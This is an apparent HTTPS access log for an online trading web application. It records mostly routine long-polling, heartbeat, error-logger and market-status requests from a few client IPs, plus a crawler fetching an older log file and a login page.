[09/Jan/2026:14:00:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938704837 HTTP/1.1" -
[09/Jan/2026:14:00:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938697841 HTTP/1.1" -
[09/Jan/2026:14:00:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938691512 HTTP/1.1" -
[09/Jan/2026:14:00:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938692364 HTTP/1.1" -
[09/Jan/2026:14:00:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938709858 HTTP/1.1" -
[09/Jan/2026:14:00:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938702869 HTTP/1.1" -
[09/Jan/2026:14:00:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938696728 HTTP/1.1" -
[09/Jan/2026:14:00:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938697402 HTTP/1.1" -
[09/Jan/2026:14:00:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938714884 HTTP/1.1" -
[09/Jan/2026:14:00:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938707975 HTTP/1.1" -
[09/Jan/2026:14:00:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938701880 HTTP/1.1" -
[09/Jan/2026:14:00:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938702474 HTTP/1.1" -
[09/Jan/2026:14:00:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938719951 HTTP/1.1" -
[09/Jan/2026:14:00:32 +0800] 40.77.167.126 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20251126 HTTP/1.1" 8152704
[09/Jan/2026:14:00:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938713046 HTTP/1.1" -
[09/Jan/2026:14:00:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938707024 HTTP/1.1" -
[09/Jan/2026:14:00:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938707534 HTTP/1.1" -
[09/Jan/2026:14:00:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938725032 HTTP/1.1" -
[09/Jan/2026:14:00:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938718160 HTTP/1.1" -
[09/Jan/2026:14:00:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938712133 HTTP/1.1" -
[09/Jan/2026:14:00:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938712596 HTTP/1.1" -
[09/Jan/2026:14:00:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938730097 HTTP/1.1" -
[09/Jan/2026:14:00:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938723232 HTTP/1.1" -
[09/Jan/2026:14:00:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938717193 HTTP/1.1" -
[09/Jan/2026:14:00:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938717659 HTTP/1.1" -
[09/Jan/2026:14:00:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938735122 HTTP/1.1" -
[09/Jan/2026:14:00:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938728329 HTTP/1.1" -
[09/Jan/2026:14:00:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938722351 HTTP/1.1" -
[09/Jan/2026:14:00:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938722765 HTTP/1.1" -
[09/Jan/2026:14:00:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938740143 HTTP/1.1" -
[09/Jan/2026:14:00:55 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:14:00:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938733361 HTTP/1.1" -
[09/Jan/2026:14:00:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938727469 HTTP/1.1" -
[09/Jan/2026:14:01:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938727822 HTTP/1.1" -
[09/Jan/2026:14:01:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938745161 HTTP/1.1" -
[09/Jan/2026:14:01:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938738441 HTTP/1.1" -
[09/Jan/2026:14:01:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938732644 HTTP/1.1" -
[09/Jan/2026:14:01:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938732879 HTTP/1.1" -
[09/Jan/2026:14:01:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938750223 HTTP/1.1" -
[09/Jan/2026:14:01:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938743555 HTTP/1.1" -
[09/Jan/2026:14:01:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938737789 HTTP/1.1" -
[09/Jan/2026:14:01:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938755256 HTTP/1.1" -
[09/Jan/2026:14:01:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938737965 HTTP/1.1" -
[09/Jan/2026:14:01:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938748645 HTTP/1.1" -
[09/Jan/2026:14:01:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938742842 HTTP/1.1" -
[09/Jan/2026:14:01:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938760342 HTTP/1.1" -
[09/Jan/2026:14:01:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938743056 HTTP/1.1" -
[09/Jan/2026:14:01:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938753747 HTTP/1.1" -
[09/Jan/2026:14:01:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938747907 HTTP/1.1" -
[09/Jan/2026:14:01:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938765371 HTTP/1.1" -
[09/Jan/2026:14:01:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938748115 HTTP/1.1" -
[09/Jan/2026:14:01:23 +0800] 66.249.82.103 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/traffic-advice HTTP/1.1" 196
[09/Jan/2026:14:01:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938758814 HTTP/1.1" -
[09/Jan/2026:14:01:23 +0800] 72.14.201.161 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:14:01:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938753033 HTTP/1.1" -
[09/Jan/2026:14:01:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938770401 HTTP/1.1" -
[09/Jan/2026:14:01:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938753175 HTTP/1.1" -
[09/Jan/2026:14:01:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938763852 HTTP/1.1" -
[09/Jan/2026:14:01:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938758184 HTTP/1.1" -
